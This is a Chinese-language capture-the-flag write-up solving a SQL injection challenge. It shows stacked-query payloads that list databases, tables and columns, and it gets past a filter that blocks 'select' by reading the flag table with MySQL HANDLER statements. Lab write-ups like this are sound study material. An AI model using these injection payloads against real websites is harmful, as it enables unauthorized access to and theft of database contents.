打开环境,猜测是个SQL注入题,点击查询,出现:
再输入1'报错,说明确实出现SQL注入。
再用order by查询字段数,得到字段数为2。接下来尝试用union select查询数据库名,
结果显示:
说明正则过滤了图上的一堆东西,包括select和where,但没过滤show
就试试堆叠注入,构造:1';show databases;#和1';show tables#
可以轻易判断出当前是在
supersqli的库中,得到两张表,同样判断在FlagHere表中,就构造:1';show columns from
FlagHere;#
有个叫flag的列,很明显flag就在其中,但select已被过滤,就无法使用select flag from flag这个语句。尝试了编码、大小写、双写都没成功。
此时想到还有个handler的语句同样能达到查询表中内容的目的。
handler的相关知识:
定义:MySQL 除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句,并没有包含到SQL标准中。handler 语句提供通往表的直接通道的存储引擎接口,可以用于 MyISAM 和 InnoDB 表。
handler语句不具备select语句的所有功能。handler是mysql专用的语句,没有包含到SQL标准中。它每次只能查询1次记录,而select可以根据需要返回多条查询结果。资料上说它可以降低优化器对于SQL语句的解析与优化开销,从而提升查询性能。
语法:
HANDLER tbl_name OPEN [ [AS] alias]//
打开一个表名为 tbl_name 的表的句柄
,无返回结果
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]//
READ FIRST: 获取句柄的第一行;
READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行),
通过将 READ FIRST改成READ NEXT依次获取其它行,有点类似于指针;
最后一行执行之后再执行 READ NEXT 会返回一个空的结果。
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]//
# FIRST: 获取第一行(索引最小的一行)
# NEXT: 获取下一行
# PREV: 获取上一行
# LAST: 获取最后一行(索引最大的一行)
HANDLER tbl_name CLOSE//
关闭以打开的句柄
构造:1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
得出答案。